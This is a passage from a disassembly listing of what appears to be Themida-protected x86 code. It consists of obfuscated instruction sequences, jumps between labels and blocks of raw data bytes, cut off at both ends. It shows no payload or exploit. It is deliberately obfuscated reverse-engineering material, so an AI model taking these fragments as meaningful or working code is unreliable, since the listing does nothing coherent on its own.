esi pop esi add edi, edx pop edx sub esi, 16F015BBh sub esi, 49DA35BBh push ebx jmp loc_565C94 ; --------------------------------------------------------------------------- dw 30ACh dd 2EC83D8h, 240C8966h, 8801B252h, 68665AD1h, 79E92D56h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_561D07: ; CODE XREF: Themida_:005644BDj mov esp, [esp] and ah, 0CCh jmp loc_558A5E ; --------------------------------------------------------------------------- dw 1489h dd 8FB224h, 0DA005AD3h, 0FF8D88E9h, 72C581FFh, 50787876h dd 0FF6E37E9h, 0E9CB89FFh, 0DF4h, 37D2F781h, 0FE0120E9h dd 0F7E6D15Fh, 15F681D6h, 5631180Fh, 5E2404FFh, 4F8E9h dd 81E58900h, 4C5h, 4C58300h, 3261E9h, 4C48300h, 4EC81h dd 4890000h, 537B824h, 7E915A0h, 8B000014h, 89562414h dd 1520E9E6h, 814F0000h, 0EF619DC7h, 86E78121h, 81196E2Eh dd 0FEEDC1C7h, 8BF8296Fh, 7CE9243Ch, 83000036h, 0EC8304C4h dd 0D614E904h, 0E958FFFFh, 0FFFFD270h, 1230F1BBh, 9779E94Eh dd 0FE29FFFFh, 0E9243C8Bh, 0FFFFB34Eh, 2A6EE95Fh, 0F381FFFFh dd 0C4DB4EBFh, 0B355D05h, 2DD80134h, 340B355Dh, 0FF02BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_561DE1: ; CODE XREF: Themida_:00559D11j xchg edx, [esp] pop ecx xor eax, ecx xor ecx, eax xor eax, ecx push esi mov esi, esp sub esp, 4 mov [esp], ebp jmp loc_564DFF ; --------------------------------------------------------------------------- db 58h, 29h, 0D9h dd 7C7BE981h, 1C8B1D6Dh, 0D74E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E0A: ; CODE XREF: Themida_:0055C997j sub edx, ecx push dword ptr [esp] jmp loc_560D90 ; --------------------------------------------------------------------------- loc_561E14: ; CODE XREF: Themida_:0055900Aj mov [esp], edi mov edi, esp push edx mov edx, 4 push ecx mov ecx, 48BC7CD8h sub edi, ecx pop ecx add edi, edx add edi, 48BC7CD8h pop edx push ecx mov ecx, 4 push ecx mov ecx, 55B9Eh add edi, ecx pop ecx add edi, ecx push 2299h mov [esp], edx mov edx, 655749D8h shr edx, 8 sub edx, 256565DDh sub edx, 0DAFA95CEh sub edi, edx pop edx push dword ptr [esp] pop ecx add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_557040 ; --------------------------------------------------------------------------- dw 0E089h dd 0FFE7DBE9h db 0FFh ; --------------------------------------------------------------------------- loc_561E7D: ; CODE XREF: Themida_:00555D63j add ebx, ebp mov ebp, [esp] jmp loc_557020 ; --------------------------------------------------------------------------- db 81h dd 1A1A6AEEh, 0E9555738h, 0FFFFE738h, 33243431h, 28E92434h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E9F: ; CODE XREF: Themida_:00563A71j shr dl, 8 not dl jmp loc_562333 ; --------------------------------------------------------------------------- db 0BDh, 60h, 46h dd 0CD812EB9h, 164A0E4Eh, 50EAE581h, 0DDF71E12h, 232BE581h dd 0F5811BEBh, 3AAE53B6h, 0F90AED81h, 0EF2917DEh, 0E9F9015Dh dd 0FFFF3F02h, 0E95D63BFh, 75C7810Bh, 814D421Bh, 4ECh dd 240C8900h, 7753F0B9h, 0BA5EE91Bh, 2C8BFFFFh, 2FA7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561EFE: ; CODE XREF: Themida_:0056406Aj mov ecx, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 add edi, 4 xchg edi, [esp] pop esp shr eax, 0Bh jmp loc_552264 ; --------------------------------------------------------------------------- loc_561F20: ; CODE XREF: Themida_:00555321j mov esi, 26F0161Ah xor esi, edi pop edi xor esi, 39802F39h dec esi xor esi, 7C0960B7h add edi, esi jmp loc_550F8A ; --------------------------------------------------------------------------- aYh5 db 'Yh$5',0 align 2 dw 489h dd 0EC685624h, 5E39F655h, 1B62C681h, 0C6814D18h, 0FFFFFFFFh dd 0FF9441E9h db 0FFh ; --------------------------------------------------------------------------- loc_561F5D: ; CODE XREF: Themida_:00554AF0j push esi mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop esi and ebx, edi push dword ptr [esp] mov edi, [esp] push ecx jmp loc_554656 ; --------------------------------------------------------------------------- dd 24148966h, 1E11E9h, 803AB100h, 0C828B2E9h, 0A2B3E959h dd 0C781FFFFh, 1, 3265C781h, 515376A2h, 6B4378B9h, 39BD5577h dd 890A212Ah, 242C8BEBh, 4C481h, 0CB310000h, 1F15E9h, 50F58900h dd 0C789E889h, 0FF8E91E9h, 87D631FFh, 0E702E9F2h, 0DA29FFFEh dd 6DC5C281h, 34FF503Bh, 7439E924h, 8B66FFFFh, 6857240Ch dd 164Bh, 81242489h, 4ECh, 24148900h, 4BF57h, 0FA890000h dd 4AEAE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56200A: ; CODE XREF: Themida_:00565574j add eax, esi add eax, 4C247E1h mov esi, [esp] push ebx push esp pop ebx add ebx, 4 jmp loc_564A0F ; --------------------------------------------------------------------------- dw 3C89h dd 0E95F5424h, 0FFFF55B2h, 8924248Bh, 4832424h, 7FE90424h dd 83FFFF3Dh, 148704C2h, 0C4815C24h, 4, 0F1E9DA01h, 33FFFF96h dd 14312414h, 24143324h, 0EC81555Ch, 4, 0FFF382E9h, 2C481FFh dd 0E9000000h, 0FFFF921Bh, 0C781E789h, 4, 4EF81h, 3C870000h dd 0C895C24h, 8F42E924h, 0C481FFFFh, 4, 0FF90C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_562095: ; CODE XREF: Themida_:0055E6A8j add ebp, edx sub ebp, 3AFD160Dh pop edx push edi push 7D6A3ACCh pop edi not edi add edi, 0CB8F6E13h sub ebp, edi pop edi add esi, ebp jmp loc_55200C ; --------------------------------------------------------------------------- db 81h dd 4ECh, 8879E900h, 0C381FFFFh, 4, 4EB81h, 1C870000h, 8F545C24h dd 8FE92404h, 5AFFFFDEh, 0E924348Bh, 0FFFF04B4h, 0E22837B4h dd 0E9D02858h, 0FFFF707Bh, 6617CE81h, 0C6817183h, 0DB7CE540h dd 0FFE29AE9h, 405FFh, 2050000h, 87000000h, 285C2404h dd 6CF1E9D8h, 248BFFFFh, 0AE8C124h, 0B468C831h, 89000071h dd 14F72404h, 0DC2AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56212E: ; CODE XREF: Themida_:00550564j xchg ebp, [esp] pop esp push edx mov edx, 5D8D63DDh shr edx, 2 shl edx, 3 jmp loc_55EF5B ; --------------------------------------------------------------------------- loc_562143: ; CODE XREF: Themida_:0055F5F5j shr ecx, 5 xor ecx, 66832C1Ah neg ecx sub ecx, 3D1FB1EEh xor ebp, ecx jmp loc_55E68D ; --------------------------------------------------------------------------- db 1 dd 0C4A4E9FEh, 0E589FFFFh, 4C581h, 0C5830000h, 242C8704h dd 0FFC870E9h, 1BF57FFh, 89000000h, 0CA295FF9h, 0E46BE959h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562186: ; CODE XREF: Themida_:00560E6Bj push dword ptr [esp] jmp loc_55E8DD ; --------------------------------------------------------------------------- dw 3868h dd 89000010h, 74FF2404h, 8F580424h, 545C2404h, 8124048Fh dd 4ECh, 242C8900h, 89E95156h, 66000027h, 68240C8Bh, 1190h dd 68242C89h, 1619h, 53242489h, 4BBh, 24448100h, 631C5104h dd 0E560E96Bh, 8956FFFEh, 4C681E6h, 83000000h, 348704C6h dd 0C6815C24h, 4, 710E9h, 0EA815B00h, 119C62BCh, 527CC281h dd 0DA297747h, 527CB951h, 0CA297747h, 0BCC28159h, 5B119C62h dd 0C281FA01h, 3F406E85h, 81243C8Bh, 4C4h, 24143300h, 33241431h dd 0E95C2414h, 0FFFEFBFFh, 0B3242C81h, 0E9344D76h, 0FFFF1C90h ; --------------------------------------------------------------------------- loc_562240: ; CODE XREF: Themida_:0055B399j mov edi, [esp] push ebp jmp loc_551E3C ; --------------------------------------------------------------------------- db 81h, 0EEh, 0Ah dd 124C6C0h, 24348BF3h, 0E904C483h, 0FFFF2FFDh, 241C895Ch dd 0D967F5BBh, 4DBD556Fh, 0C10E8310h, 0DDF704E5h, 0DBF7DD87h dd 0E5C1DD87h, 0E3ED8107h, 9C24328h, 57555DEBh, 0D0019F68h dd 0EF815F47h, 0C81E99DEh, 295FFD89h, 0AC1E9EBh, 0C5810000h dd 8BF3020h, 2BEBE9h db 0 ; --------------------------------------------------------------------------- loc_5622A5: ; CODE XREF: Themida_:0055472Ej xchg ecx, ebp jmp loc_55B05B ; --------------------------------------------------------------------------- loc_5622AC: ; CODE XREF: Themida_:0055F9CFj or eax, eax jmp loc_553BE7 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 81000000h, 4EBh, 9901E900h, 6855FFFFh, 5A3C7AECh dd 0FF7C3EE9h, 5B5853FFh, 48BC731h, 0E7895724h, 0FFC715E9h dd 66F328FFh, 5BDD085Ah, 0E580DDF6h, 0E9C5FE6Fh, 0FFFF8E15h dd 0AF788ABFh, 5FFB016Ah, 6BE9D801h, 5FFFF38h, 379F4D84h dd 842DF001h, 5E379F4Dh, 8B240487h, 0CC682424h, 89000024h dd 5E542434h, 8904EC83h, 4BB241Ch, 1000000h, 0A2E95BDEh db 0EBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562333: ; CODE XREF: Themida_:00561EA4j xor dl, 0E9h and bl, dl pop edx neg bl push 5D4Ah mov [esp], eax jmp loc_55E4B3 ; --------------------------------------------------------------------------- dd 8B5AD000h, 3A682414h, 8900007Eh, 0E789243Ch, 4C781h dd 0BB530000h, 4, 1C8BDF01h, 4C48324h, 0FFC126E9h, 0D1C781FFh dd 0E941652Eh, 0FFFF60DCh, 4244481h, 36541276h, 0FEFE11E9h dd 4EC83FFh, 88241489h, 5AD588C2h, 0FFEFADE9h, 241489FFh dd 53768h, 24248900h, 46857h, 15F0000h, 5F04247Ch, 8324148Bh dd 0B95104C4h, 4, 5CF3BF57h, 0E7C13DA2h, 8A1FE904h, 4BBFFFFh dd 1000000h, 4875BD8h, 54575C24h, 0FF47BDE9h, 4EC81FFh dd 89000000h, 0C0BD242Ch, 8151DA49h, 5691AF5h, 34ED815Dh dd 0F73E7C7Dh, 5BF581D5h, 0E9319D5Ch, 2277h, 0F935D8F7h dd 9D7B69Bh, 3DE958C2h, 1FFFF6Ah, 36E95EF7h, 81FFFF0Dh dd 188617C2h, 0E9D001F4h, 0FFFF5646h, 31E9D6F7h, 89FFFEE3h dd 0BA522404h, 80h, 685AD089h, 16BDh, 89242C89h, 0E9EE89C5h dd 0FFFF6D40h, 0BB241C89h, 7168175Ch, 8107EBC1h, 0C95332C3h dd 0F7DBF736h, 0C768E9D3h, 0FE59FFFFh, 8BC688C0h, 0C4832404h dd 793AE904h, 0E3C1FFFFh, 96E6803h, 0FCE90000h, 5EFFFFDFh dd 8904EC83h, 0EC83241Ch, 24048904h, 53826851h, 81590EB0h dd 3C6B2EF1h, 47EE977h, 6657FFFFh, 66057FBFh, 0DFF7664Fh dd 4FF78166h, 0F93166FFh, 0C281665Fh, 16642BDh, 0EA8166CAh dd 0C8B42BDh, 4C48324h, 4EAC166h, 15ECE951h, 0DAF70000h dd 97BF281h, 0F28102C1h, 7D276394h, 9544C281h, 0D0294255h dd 5CFE95Ah, 6C81FFFFh, 1C510424h, 1C8B6B63h, 4C48124h dd 8B000000h, 0E8E9242Ch, 81FFFF4Bh, 0A94200C5h, 5E5C165h dd 55A0C581h, 0EB09C36Bh, 81D3F75Dh, 6204EDF3h, 5BD801DEh dd 0B8D685Ah, 0D8E90000h, 0B8FFFF24h, 48F42A46h, 0F2E9C131h dd 68FFFFE4h, 204E185Ch, 0B7C98159h, 8164C872h, 0DD001DE9h dd 0DEE98116h, 894DF17Ah, 0C10159C8h, 8324048Bh, 0EC8104C4h dd 4, 0FF240C89h, 0FF042474h, 83592434h, 48F04C4h, 24248B24h dd 2480E9h, 0B70F5C00h, 595451C8h, 3C60BF57h, 0E7C12E66h dd 1EF8103h, 83000000h, 1C8904ECh, 0E688E924h, 0FA00FFFEh dd 80EA285Bh, 0CCE912EAh, 89FFFF10h, 0DDE92404h, 5BFFFEE9h dd 0FF137AE9h, 241C87FFh, 240C895Ch, 4B9h, 0ACBD5500h dd 4D06151Bh, 4CE95056h, 81FFFFADh, 4C4h, 0B4D4E900h, 0D328FFFFh dd 80C3005Ah, 34E965C3h db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625EB: ; CODE XREF: Themida_:00551659j sub ebx, 44076AADh add ebx, eax add ebx, 44076AADh pop eax sub ebx, eax sub ebx, 7EB73787h sub ebx, 2E776209h sub ebx, 53262252h push ecx push 4EF4h mov [esp], esi mov esi, 589120BDh jmp loc_557527 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D7010000h, 0E924148Bh, 0FFFFD162h, 244DC4BAh, 81DAF704h dd 65AEEBEAh, 5AD589F8h, 815DEA21h, 250BE7CAh, 0F83DE933h dd 0E2C1FFFEh, 0E8F28102h, 0C103D16Ch, 574207E2h, 0C14211BFh dd 0E2C78151h, 81370A76h, 4D4756CFh, 4FEF815Ch, 0F7447019h dd 12C2E9DFh, 489FFFFh, 260F6824h, 14890000h, 8FAEE924h dd 0E958FFFFh, 0FFFF2612h, 5C242C87h, 9C242CD3h, 0FEDD83E9h dd 81CA29FFh, 836982EAh, 5FBF573Ah, 2949B951h, 81595FFAh dd 0A439C0C2h, 3A77E95Bh, 0C89FFFFh, 6D66B924h, 0CF015D44h dd 0F8A4E959h, 348BFFFEh, 4C48124h, 81000000h, 4C3h, 241C8700h dd 0FF2A25E9h, 240C31FFh, 5C240C33h, 51242489h, 62986855h dd 815D0274h, 0AE7E1AE5h, 1CF58116h, 89022462h, 4C015DE9h dd 0E9590424h, 0FFFF059Ch, 5C240C87h, 0FF774AE9h db 0FFh ; --------------------------------------------------------------------------- loc_562715: ; CODE XREF: Themida_:0055DBADj sub esp, 4 jmp loc_55635A ; --------------------------------------------------------------------------- aBFx db 'Ĺ^Fx',0 dw 0ED81h dd 2789041Dh, 711268h, 24348900h, 207D6BBEh, 2EEC136h dd 0B6BB5346h, 0E977627Fh, 0FFFEEF35h, 4247C31h, 24048B5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_554617 ; --------------------------------------------------------------------------- dw 0F280h dd 0E0C4E940h, 2105FFFFh, 0E92DC754h, 0FFFF2257h, 1BC1EA81h dd 73E97C05h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56277B: ; CODE XREF: Themida_:00551100j movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] jmp loc_55F7AA ; --------------------------------------------------------------------------- dd 88F88850h, 885358C5h, 5BDA88EBh, 83240C8Bh, 56E904C4h dd 0C1FFFFC8h, 0A56805EBh, 89000061h, 62BD242Ch, 0C173EE29h dd 0D5F703E5h, 0B850DDF7h, 104A2E22h, 8158C501h, 119F8DC5h dd 160CE95Fh, 14870000h, 0C3315C24h, 390A68h, 24048900h dd 8B2434FFh, 0A5E92414h, 0C1FFFF20h, 0BA5205EBh, 56991150h dd 0E9534A4Ah, 0FFFF162Fh ; --------------------------------------------------------------------------- loc_5627F8: ; CODE XREF: Themida_:0055F63Bj push 4A7D2E6Fh pop edi jmp loc_552355 ; --------------------------------------------------------------------------- db 0F6h dd 650BE9DAh, 0D031FFFFh, 0D031C231h, 4EC81h, 14890000h dd 1B95124h, 0E9000000h, 0FFFF8D8Eh, 4BF5758h, 1000000h dd 2434FFF8h, 4C4815Fh, 0E9000000h, 0FFFFAA49h, 528F2CACh dd 0D1068h, 241C8900h, 0FFE236E9h, 4C483FFh, 2BA52h, 0D5010000h dd 242C875Ah, 0D324248Bh, 0E99C2424h, 0FFFEDBB8h, 0FEDBB3E9h dd 14E952FFh, 52FFFF5Ch, 0FF0FB9E9h, 0C4835AFFh, 0DB9EE904h dd 0FF59FFFEh, 51582434h, 0C181E189h, 4, 8704C183h, 5A5C240Ch dd 78C968h, 24048900h, 219ABF57h, 49E97E21h, 8BFFFFA9h dd 0C481240Ch, 4, 5E28B850h, 0C1216294h, 8124048Bh, 4C4h dd 1E8CE900h, 8B660000h, 31682404h, 89000003h, 6768242Ch dd 53000039h, 0C381E389h, 4, 8704EB83h, 895C241Ch, 89562424h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 532E9h, 4EE8100h dd 68000000h, 360Fh, 0FF243489h, 0FF042474h, 0E95E2434h dd 0FFFEDD94h ; --------------------------------------------------------------------------- loc_562920: ; CODE XREF: Themida_:00562F21j pop ecx pop edx add ecx, 0FFFFFFFFh jmp loc_55DB41 ; --------------------------------------------------------------------------- dw 0E95Bh dd 140Eh, 0FEDAEBE9h, 2434FFFFh, 0FF5596E9h, 4EC83FFh dd 0E9243C89h, 0FFFF0E43h, 85C3E95Ch, 489FFFFh, 217AB824h dd 1050A67h, 0C1000000h, 0CE2D05E0h, 0C1341537h, 685105E8h dd 66AE014Ah, 0FF2CDFE9h db 0FFh ; --------------------------------------------------------------------------- loc_562971: ; CODE XREF: Themida_:00555857j push edi mov edi, 5AE64CABh push ebx mov ebx, 0A8340E0h push ebp mov ebp, 50650C47h xor ebx, ebp pop ebp sub edi, ebx pop ebx add ebp, edi pop edi sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_5535E4 ; --------------------------------------------------------------------------- db 81h dd 0CED597C5h, 4A9DE9BDh, 2BEFFFFh, 1000000h, 24348BF7h dd 4C481h, 0DE90000h, 81FFFF6Dh, 2C0A37EBh, 50FB2934h dd 4A4752B8h, 82E94862h, 5A000031h, 15EF789h, 1C875FFBh dd 5A685C24h, 8900004Ah, 89512434h, 4C181E1h, 56000000h dd 4BEh, 5EF12900h, 0E9240C87h, 0FFFF08FCh, 8124048Fh dd 42404h, 34FF0000h, 81505824h, 4ECh, 24248900h, 4240481h dd 58000000h, 405h, 40500h, 4330000h, 0CDC1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562A36: ; CODE XREF: Themida_:005615E6j pop esp push ecx jmp loc_552BEA ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 87E92414h, 87FFFEFCh, 0E8E92404h, 21FFFF79h dd 4B055EF0h, 31CD2787h, 67A4E9C5h, 3C8BFFFFh, 4C48324h dd 0E92434FFh, 0FFFF1FF5h, 0C281E289h, 4, 4EA81h, 14870000h dd 793E924h, 285C0000h, 2434FFD8h, 17E2E95Bh, 0CB290000h dd 4138C381h, 0C8B77B9h, 4C48324h, 34E9008Fh, 8100000Ch dd 1D3A16F5h, 4EC8328h, 0E9243C89h, 0FFFFE5AFh, 4240483h dd 8324048Bh, 40504C4h, 0E9000000h, 0FFFFAA4Dh, 4ED4EB81h dd 0F3011D30h, 4ED4C381h, 348B1D30h, 4C48124h, 55000000h dd 0FF5E5CE9h, 2434FFFFh, 0E92434FFh, 0FFFFB27Eh, 2434875Ah dd 7E9C15Ch, 7BED68h, 241C8900h, 81E18951h, 4C1h, 4BE5600h dd 0E9000000h, 0FFFF9163h, 0ED04D028h, 4D6045Ah, 0E97D2C1Bh dd 0FFFF3E7Bh, 703FE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B2E: ; CODE XREF: Themida_:005610E8j pop ecx jmp loc_55A6F1 ; --------------------------------------------------------------------------- dd 9C241CF6h, 0FED8E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_562B3D: ; CODE XREF: Themida_:0055B7F6j push 187Fh jmp loc_555EDE ; --------------------------------------------------------------------------- loc_562B47: ; CODE XREF: Themida_:00555EF7j pop edx push esi mov esi, esp jmp loc_5558E5 ; --------------------------------------------------------------------------- dd 0D6C4C781h, 0FA01559Eh, 0B116E95Fh, 0C87FFFFh, 24248B24h dd 54241489h, 0E92434FFh, 2B8h, 5104EAC1h, 0FEE7BBE9h dd 0E95A66FFh, 0FFFF5943h ; --------------------------------------------------------------------------- loc_562B80: ; CODE XREF: Themida_:0055CD4Ej push eax jmp loc_557E7F ; --------------------------------------------------------------------------- dw 8B66h dd 54502404h, 0E924048Bh, 0FFFF11E6h, 58C6015Bh, 0FFBE27E9h dd 17BD55FFh, 0C101AA7Fh, 0C58106E5h, 0FFFFFFFFh, 26E9DDF7h dd 64000022h, 7E932FFh, 5BFFFF09h, 0E9240C8Bh, 0FFFF2D76h dd 0E95FFB29h, 0FFFFA01Ch, 0E288FC88h, 0EA805B58h, 68CAFEF8h dd 0 dd 0BD242C80h, 0FF3AB1E9h, 4C481FFh, 56000000h, 0C681E689h dd 4, 0E904C683h, 0FFFF8CB2h, 8B240433h, 4892424h, 0D816E924h dd 0E959FFFEh, 0FFFF5B6Fh, 34FF5453h, 0C4835B24h, 4C38104h dd 56000000h, 4BEh, 7040E900h, 8142FFFFh, 9A3C25E2h, 43DA8712h dd 0FEFDB7E9h, 0E8CE81FFh, 81160552h, 3B4F13F6h, 8BF28942h dd 89512434h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 1DEA815Ch dd 815A6114h, 3CDB21C2h, 35E9521Ch db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C6F: ; CODE XREF: Themida_:0055EDC5j mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push ebx push eax jmp loc_559CF4 ; --------------------------------------------------------------------------- loc_562C8D: ; CODE XREF: Themida_:005577BBj pop esp mov [esp], ebx push 3F85h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_555D5E ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 0FF290DE9h, 4BD55FFh, 0E9000000h, 0FFFFACFCh ; --------------------------------------------------------------------------- loc_562CC4: ; CODE XREF: Themida_:00553983j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], eax push edx mov edx, 5FF45C55h jmp loc_55C0B0 ; --------------------------------------------------------------------------- loc_562CF0: ; CODE XREF: Themida_:0055782Ej add eax, 0BC794415h mov edx, eax pop eax jmp loc_55247B ; --------------------------------------------------------------------------- db 0B2h, 0FFh, 0 dd 0FE73E9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D06: ; CODE XREF: Themida_:0055C8CAj pop esp push ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_561812 ; --------------------------------------------------------------------------- loc_562D1B: ; CODE XREF: Themida_:0055A699j mov esi, [esp] add esp, 4 sub eax, 27BD05BCh add eax, ebp add eax, 27BD05BCh mov ebp, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push edx push ecx push edx push 20010C82h mov edx, [esp] add esp, 4 jmp loc_55E631 ; --------------------------------------------------------------------------- db 5Dh dd 6C3FBE56h, 0CE8140A3h, 519B52B2h, 0FFE259E9h, 57E780FFh dd 0EF80CFFEh, 16C180E9h, 0E980F928h, 0E9805B16h, 18F180FFh dd 0E93EF180h, 0FFFF9180h, 0EC81C388h, 4, 52240489h, 0D088DA88h dd 13FCE95Ah, 77FF0000h, 58669D1Ch, 9C240418h, 0FED66FE9h dd 0C4815BFFh, 4, 6421E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562DBE: ; CODE XREF: Themida_:0056486Cj shr ecx, 5 jmp loc_55B7A0 ; --------------------------------------------------------------------------- dw 91BFh dd 0E97BBC29h, 0FFFF2FF9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55DCB5 ; --------------------------------------------------------------------------- dd 83240C8Bh, 348904ECh, 815E5424h, 4C6h, 4C68300h, 5C243487h dd 0FEF56EE9h, 24D8F6FFh, 0C08C0C6Ah, 29E903E0h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562E03: ; CODE XREF: Themida_:005573F5j add edi, 6FA0563Ah pop ecx add edi, 4 xchg edi, [esp] pop esp and eax, edi mov edi, [esp] jmp loc_557A01 ; --------------------------------------------------------------------------- dw 0DC68h dd 0E900000Ah, 27C3h, 4C4835Ah, 4C281h, 0DCE90000h, 5CFFFFD3h dd 0BD242C89h, 4, 7238BF57h, 7C294A4Dh, 15F0824h, 8104246Ch dd 38042444h, 5D4A4D72h, 5524048Fh, 4BDh, 24448100h, 0E93EED04h dd 246C013Ch, 246C8104h, 0E93EED04h, 0EBE95D3Ch, 8BFFFF30h dd 34892424h, 1B85024h, 2915FE03h, 0E9042444h, 0FFFFBBADh dd 405E089h, 0E9000000h, 0FFFEE88Eh, 0E924048Bh, 0FFFF2F9Ch dd 7B54F681h, 0F0291021h, 2514E95Eh, 0C8BFFFFh, 1BE8E924h dd 148B0000h, 0A160E924h, 8B5EFFFFh, 0EC812404h, 4, 89240C89h dd 4EC83E1h, 0BE243489h, 4, 0FFE3F3E9h, 54CFBDFFh, 65E93B96h dd 81FFFEE0h, 6653FBCAh, 0CCEA8106h, 8920F968h, 2434FFD1h dd 4C4835Ah, 0E908E1C1h, 0FFFEDB2Fh, 815BDE29h, 0D136E9E6h dd 5E6C125h, 0FF1FDFE9h db 0FFh ; --------------------------------------------------------------------------- loc_562F19: ; CODE XREF: Themida_:00557895j push 3CD5h mov [esp], edx jmp loc_562920 ; --------------------------------------------------------------------------- dw 0C129h dd 64572D58h, 0C80119B8h, 0FF345BE9h, 34FF5AFFh, 2434FF24h dd 8324048Bh, 895004C4h, 405E0h, 4050000h, 87000000h, 0AE92404h dd 5AFFFF2Bh, 0EBC1D3F7h, 7BEB8105h, 4B012A6Bh, 16FEEB81h dd 0DF010432h, 108CE9h, 6CEF8100h, 31BB0FE7h, 0C6815FFAh dd 3E0C312Fh, 0FFC213E9h, 6CE168FFh, 0C890000h, 9166824h dd 1C890000h, 0B4B9E924h, 8159FFFFh, 4C7h, 74FF5700h, 8F5F0424h dd 248B2404h, 0BA23E924h, 0EF81FFFFh, 4, 8B243C87h, 4892424h dd 4EC8124h, 0E9000000h, 0FFFFE71Fh, 4C381h, 0BF570000h dd 6DA43D8Eh, 0C276C781h, 0FB29925Bh, 241C875Fh, 241C895Ch dd 0FFDE83E9h, 2414F7FFh, 8324348Bh, 0CBE904C4h, 59FFFF46h dd 0E9242C33h, 70h, 84E9815Ah, 686E2975h, 6F7Bh, 0FF8164E9h dd 7AC681FFh, 8989D7ECh, 47095EF0h, 2434FF1Ch, 85F0E958h dd 0EF21FFFFh, 0D7F74F5Dh, 18F1E781h, 36E92DFDh, 43FFFFF3h dd 9128C381h, 0DD3136D5h, 4FE9525Bh, 0FFFFF7Ch, 34FFC0B6h dd 0D3CAE987h, 0C181FFFEh, 4, 0FFBC85E9h, 0E9AD2CFFh, 0FFFEFDD9h ; --------------------------------------------------------------------------- loc_563068: ; CODE XREF: Themida_:00558B36j xchg ebp, [esp] pop esp push small word ptr [eax] jmp loc_550420 ; --------------------------------------------------------------------------- dd 33242C31h, 248B242Ch, 14896624h, 9C506624h, 0FED397E9h dd 80BA52FFh, 81291168h, 714038F2h, 0B090E91Fh, 0B353FFFFh dd 40CB80EDh, 0C022E380h, 0F38008E3h, 66E5E96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5630AE: ; CODE XREF: Themida_:0055D97Aj pop ebx add ebx, 1 add ebx, 4A78ACD6h push eax mov eax, ebx jmp loc_565199 ; --------------------------------------------------------------------------- db 5Ah dd 8B2434FFh, 0C3E9240Ch, 0CFFFF60h, 22F7E983h, 815BFFFFh dd 9A08F1C5h, 0A1ED812Ch, 0E9E7E9EDh, 0FFFF0F9Ch, 0B1705135h dd 0C3BF5727h, 0E93DD043h, 0FFFF4E6Fh, 7129E781h, 81474BE3h dd 828504F7h, 5CBB5365h, 291E9714h, 122D5BD8h, 1196957h dd 571205F8h, 5C051969h, 0E91E9714h, 0FFFEEA05h, 4BE2C281h dd 0CA014EC2h, 4BE2EA81h, 0C2814EC2h, 4AD94751h, 8B2434FFh dd 0E957240Ch, 0BA7h ; --------------------------------------------------------------------------- loc_563144: ; CODE XREF: Themida_:0055B201j dec edx shl edx, 7 jmp loc_55120A ; --------------------------------------------------------------------------- db 0BDh, 92h, 26h dd 0D3E964ADh, 81FFFFFEh, 4EBh, 241C8700h, 2414895Ch, 0FF2FA6E9h dd 0B1F280FFh, 5AD788h, 996E9FEh, 0C4830000h, 8940E904h dd 68FFFFh, 29000000h, 77E92404h, 0C0FFFF65h, 0EE8004EEh dd 5AF000E3h, 0B4505266h, 0F6ECD0F0h, 3FCC80D4h, 0E4C0CCFEh dd 72F2E908h, 5A5BFFFFh, 2449E950h, 0CE01FFFFh, 0FF8854E9h dd 240C33FFh, 33240C31h, 895C240Ch, 74FF2414h, 148B0424h dd 4C48124h, 8F000000h, 248B2404h, 4016624h, 3DE99C24h db 0D2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5631E3: ; CODE XREF: Themida_:0055FDACj mov edx, 67E41EFEh mov esi, edx pop edx mov eax, 4C89C102h add eax, esi pop esi add edx, eax pop eax mov ebp, edx jmp loc_557EAD ; --------------------------------------------------------------------------- db 50h, 0E9h, 0CCh db 0D7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563203: ; CODE XREF: Themida_:00561AD0j add ebp, 720A277Ah push eax mov eax, 0B1CD4DC8h add ebp, eax pop eax add edi, ebp jmp loc_563F0C ; --------------------------------------------------------------------------- db 